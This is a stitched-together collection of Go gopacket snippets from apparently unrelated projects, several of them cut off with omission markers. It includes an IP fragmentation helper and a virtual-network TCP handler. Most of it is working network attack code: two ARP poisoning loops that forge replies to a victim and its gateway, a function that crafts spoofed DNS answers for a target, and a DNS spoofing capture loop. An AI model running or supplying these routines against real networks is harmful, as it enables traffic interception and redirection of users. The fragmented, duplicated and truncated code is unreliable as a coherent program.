func fragment(eth layers.Ethernet, ip layers.IPv4, mtu int,
	forward func([]byte)) error {
	// We are not doing any sort of NAT, so we don't need to worry
	// about checksums of IP payload (eg UDP checksum).
	headerSize := int(ip.IHL) * 4
	// &^ is bit clear (AND NOT). So here we're clearing the lowest 3
	// bits.
	maxSegmentSize := (mtu - headerSize) &^ 7
	opts := gopacket.SerializeOptions{
		FixLengths:       false,
		ComputeChecksums: true}
	payloadSize := int(ip.Length) - headerSize
	payload := ip.BaseLayer.Payload[:payloadSize]
	offsetBase := int(ip.FragOffset) << 3
	origFlags := ip.Flags
	ip.Flags = ip.Flags | layers.IPv4MoreFragments
	ip.Length = uint16(headerSize + maxSegmentSize)
	if eth.EthernetType == layers.EthernetTypeLLC {
		// using LLC, so must set eth length correctly. eth length
		// is just the length of the payload
		eth.Length = ip.Length
	} else {
		eth.Length = 0
	}
	for offset := 0; offset < payloadSize; offset += maxSegmentSize {
		var segmentPayload []byte
		if len(payload) <= maxSegmentSize {
			// last one
			segmentPayload = payload
			ip.Length = uint16(len(payload) + headerSize)
			ip.Flags = origFlags
			if eth.EthernetType == layers.EthernetTypeLLC {
				eth.Length = ip.Length
			} else {
				eth.Length = 0
			}
		} else {
			segmentPayload = payload[:maxSegmentSize]
			payload = payload[maxSegmentSize:]
		}
		ip.FragOffset = uint16((offset + offsetBase) >> 3)
		buf := gopacket.NewSerializeBuffer()
		segPayload := gopacket.Payload(segmentPayload)
		err := gopacket.SerializeLayers(buf, opts, &eth, &ip,
			&segPayload)
		if err != nil {
			return err
		}

		forward(buf.Bytes())
	}
	return nil
}

/*
    FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{
    RETURNS: Byte array containing the spoofed response DNS packet data
    ARGUMENTS:
								*layers.Ethernet ethernetLayer - the ethernet part of the packet recieved
								*layers.DNS dnsLayer - the dns part of the packet recieved
                *layers.IPv4 ipLayer - the ip part of the packet recieved
                *layers.UDP udpLayer - the udp part of the packet recieved

    ABOUT:
    Crafts a spoofed dns packet using the incoming query.
*/
func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte {

	//if not a question return
	if dnsLayer.QR || ipLayer.SrcIP.String() != target {
		return nil
	}

	//must build every layer to send DNS packets
	ethMac := ethernetLayer.DstMAC
	ethernetLayer.DstMAC = ethernetLayer.SrcMAC
	ethernetLayer.SrcMAC = ethMac

	ipSrc := ipLayer.SrcIP
	ipLayer.SrcIP = ipLayer.DstIP
	ipLayer.DstIP = ipSrc

	srcPort := udpLayer.SrcPort
	udpLayer.SrcPort = udpLayer.DstPort
	udpLayer.DstPort = srcPort
	err = udpLayer.SetNetworkLayerForChecksum(ipLayer)
	checkError(err)

	var answer layers.DNSResourceRecord
	answer.Type = layers.DNSTypeA
	answer.Class = layers.DNSClassIN
	answer.TTL = 200
	answer.IP = ipAddr

	dnsLayer.QR = true

	for _, q := range dnsLayer.Questions {
		if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
			continue
		}

		answer.Name = q.Name

		dnsLayer.Answers = append(dnsLayer.Answers, answer)
		dnsLayer.ANCount = dnsLayer.ANCount + 1
	}

	buf := gopacket.NewSerializeBuffer()
	opts := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}

	err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer)
	checkError(err)

	return buf.Bytes()
}

/*
    FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
    RETURNS: Nothing
    ARGUMENTS:
                string targetMAC - the victim mac address for spoofing
								string gateway - the gateway IP the victim uses
								string gatewayMAC - the mac address of the gateway the vicitim uses

    ABOUT:
    Performs arp poisoning of the target machine. Sets its traffic to all come
		through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {

	// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
	// bytes to the beginning of the array, I wish I did this in C
	// I GUESS I DID C
	gw := (net.ParseIP(gateway))[12:]
	tg := (net.ParseIP(target))[12:]
	tgm, _ := net.ParseMAC(targetMAC)
	gwm, _ := net.ParseMAC(gatewayMAC)

	fmt.Print("========================")
	fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
	fmt.Print("========================")

	ethernetPacket := layers.Ethernet{}
	ethernetPacket.DstMAC = tgm
	ethernetPacket.SrcMAC = macAddr
	ethernetPacket.EthernetType = layers.EthernetTypeARP

	arpPacket := layers.ARP{}
	arpPacket.AddrType = layers.LinkTypeEthernet
	arpPacket.Protocol = 0x0800
	arpPacket.HwAddressSize = 6
	arpPacket.ProtAddressSize = 4
	arpPacket.Operation = 2

	//poison the target
	arpPacket.SourceHwAddress = macAddr
	arpPacket.SourceProtAddress = gw
	arpPacket.DstHwAddress = tgm
	arpPacket.DstProtAddress = tg

	gwEthernetPacket := ethernetPacket
	gwARPPacket := arpPacket

	//poison the gateway
	gwARPPacket.SourceProtAddress = tg
	gwARPPacket.DstHwAddress = gwm
	gwARPPacket.DstProtAddress = gw

	for {
		//poison target
		writePoison(arpPacket, ethernetPacket)
		time.Sleep(1 * time.Second)
		//poison gateway
		writePoison(gwARPPacket, gwEthernetPacket)
		time.Sleep(5 * time.Second)
	}

}

func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) {

	// Open NIC at layer 2
	handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever)
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}
	defer handle.Close()

	// create an empty ethernet packet
	ethernetPacket := layers.Ethernet{}
	// create an empty ARP packet
	arpPacket := layers.ARP{}
	// pre populate Arp Packet Info
	arpPacket.AddrType = layers.LinkTypeEthernet
	arpPacket.HwAddressSize = 6
	arpPacket.ProtAddressSize = 4
	arpPacket.Operation = 2
	arpPacket.Protocol = 0x0800

	// continiously put arp responses on the wire to ensure a good posion.
	for {
		/******** posion arp from victim to local ********/

		//set the ethernet packets' source mac address
		ethernetPacket.SrcMAC = localMac

		//set the ethernet packets' destination mac address
		ethernetPacket.DstMAC = victimMac

		//set the ethernet packets' type as ARP
		ethernetPacket.EthernetType = layers.EthernetTypeARP

		// create a buffer
		buf := gopacket.NewSerializeBuffer()
		opts := gopacket.SerializeOptions{}

		// customize ARP Packet info

		arpPacket.SourceHwAddress = localMac
		arpPacket.SourceProtAddress = routerIP
		arpPacket.DstHwAddress = victimMac
		arpPacket.DstProtAddress = victimIP

		// set options for serializing (this probably isn't needed for an ARP packet)

		// serialize the data (serialize PREPENDS the data)
		err = arpPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}

		err = ethernetPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}

		// turn the packet into a byte array
		packetData := buf.Bytes()

		//remove padding and write to the wire
		handle.WritePacketData(packetData[:42])
		//Sleep so we don't flood with ARPS
		time.Sleep(50 * time.Millisecond)
		/******** end posion arp from victim to local ********/

		/******** posion arp from router to local ********/

		//set the ethernet packets' source mac address
		ethernetPacket.SrcMAC = localMac

		//set the ethernet packets' destination mac address
		ethernetPacket.DstMAC = victimMac

		//set the ethernet packets' type as ARP
		ethernetPacket.EthernetType = layers.EthernetTypeARP

		// customize ARP Packet info

		arpPacket.SourceHwAddress = localMac
		arpPacket.SourceProtAddress = victimIP
		arpPacket.DstHwAddress = routerMac
		arpPacket.DstProtAddress = routerIP

		// set options for serializing (this probably isn't needed for an ARP packet)

		// serialize the data (serialize PREPENDS the data)
		err = arpPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}

		err = ethernetPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
//.........这里部分代码省略.........

func (vnet *VNET) handleTCP(pkt *Packet, now time.Time) {
	// fmt.Printf("TCP: %08x %s\n", pkt.Flags, pkt.String())

	defer pkt.Release()

	var err error

	if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) {
		// ignore
		return
	}

	if pkt.DstHost == nil {
		// ignore
		return
	}
	if !pkt.DstHost.Up {
		log.Printf("destination is down: %s", pkt.DstHost.Name)
		// ignore
		return
	}

	var (
		srcIP   net.IP
		dstIP   net.IP
		srcPort = uint16(pkt.TCP.SrcPort)
		dstPort = uint16(pkt.TCP.DstPort)
	)

	if pkt.IPv4 != nil {
		srcIP = CloneIP(pkt.IPv4.SrcIP.To16())
		dstIP = CloneIP(pkt.IPv4.DstIP.To16())
	} else if pkt.IPv6 != nil {
		srcIP = CloneIP(pkt.IPv6.SrcIP.To16())
		dstIP = CloneIP(pkt.IPv6.DstIP.To16())
	} else {
		log.Printf("invalid protocol")
		// ignore
		return
	}

	route := vnet.routes.GetTable().Lookup(
		protocols.TCP,
		srcIP, dstIP, srcPort, dstPort)

	if route == nil {
		rule, found := vnet.rules.GetTable().Lookup(protocols.TCP, pkt.DstHost.ID, dstPort)
		if !found {
			log.Printf("no rule")
			// ignore
			return
		}

		var (
			ruleDstIP   = rule.DstIP
			ruleDstPort = rule.DstPort
			hostIP      net.IP
			hostPort    uint16
		)

		if ruleDstIP != nil {
			hostIP = dstIP
			hostPort, err = vnet.ports.Allocate(pkt.DstHost.ID, protocols.TCP, 0)
			if err != nil {
				// ignore
				log.Printf("TCP/error: %s", err)
				return
			}

			var r routes.Route
			r.Protocol = protocols.TCP
			r.HostID = pkt.DstHost.ID
			r.SetInboundSource(hostIP, hostPort)
			r.SetInboundDestination(vnet.system.GatewayIPv4(), vnet.proxy.TCPPort)
			r.SetOutboundDestination(ruleDstIP, rule.DstPort)
			route, err = vnet.routes.AddRoute(&r)
			if err != nil {
				// ignore
				log.Printf("TCP/error: %s", err)
				return
			}

			ruleDstIP = vnet.system.GatewayIPv4()
			ruleDstPort = vnet.proxy.TCPPort
		}

		if ruleDstIP == nil {
			gateway := vnet.hosts.GetTable().LookupByName("gateway")
			if gateway == nil || !gateway.Up {
				log.Printf("no gateway")
				// ignore
				return
			}

			if dstIP.To4() != nil {
				if len(gateway.IPv4Addrs) > 0 {
					ruleDstIP = gateway.IPv4Addrs[0]
				}
			} else {
				if len(gateway.IPv6Addrs) > 0 {
//.........这里部分代码省略.........

/*
Spoof is the entry point for the actual spoofing subroutine.

Spoof handles getting packets from the NICs, identifying DNS
queries, and seding responses. It is mostly concerened with
the packet level logic, and does not manipulate the responses
themselves
*/
func spoof(ifacename string) {

	// get our local ip
	ip := getIfaceAddr(ifacename)
	if ip == nil {
		panic("Unable to get IP")
	}

	// open a handle to the network card(s)
	ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever)
	if err != nil {
		panic(err)
	}

	defer ifaceHandle.Close()

	// set the filter
	err = ifaceHandle.SetBPFFilter("udp and dst port 53")
	if err != nil {
		// not fatal
		fmt.Printf("Unable to set filter: %v\n", err.Error())
	}

	// pre-allocate all the space needed for the layers
	var ethLayer layers.Ethernet
	var ipv4Layer layers.IPv4
	var udpLayer layers.UDP
	var dnsLayer layers.DNS

	var q layers.DNSQuestion
	var a layers.DNSResourceRecord

	// create the decoder for fast-packet decoding
	// (using the fast decoder takes about 10% the time of normal decoding)
	decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &ethLayer, &ipv4Layer, &udpLayer, &dnsLayer)

	// this slick will hold the names of the layers successfully decoded
	decodedLayers := make([]gopacket.LayerType, 0, 4)

	// pre-create the response with most of the data filled out
	a.Type = layers.DNSTypeA
	a.Class = layers.DNSClassIN
	a.TTL = 300
	a.IP = ip

	// create a buffer for writing output packet
	outbuf := gopacket.NewSerializeBuffer()
	// TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more

	// set the arguments for serialization
	serialOpts := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}

	// pre-allocate loop counter
	var i uint16

	// swap storage for ip and udp fields
	var ipv4Addr net.IP
	var udpPort layers.UDPPort
	var ethMac net.HardwareAddr

	// Main loop for dns packets intercepted
	// No new allocations after this point to keep garbage collector
	// cyles at a minimum
	for {
		packetData, _, err := ifaceHandle.ZeroCopyReadPacketData()

		if err != nil {
			break
		}

		fmt.Println("Got packet from filter")

		// decode this packet using the fast decoder
		err = decoder.DecodeLayers(packetData, &decodedLayers)
		if err != nil {
			fmt.Println("Decoding error!")
			continue
		}

		// only proceed if all layers decoded
		if len(decodedLayers) != 4 {
			fmt.Println("Not enough layers!")
			continue
		}

		// check that this is not a response
		if dnsLayer.QR {
			continue
		}
//.........这里部分代码省略.........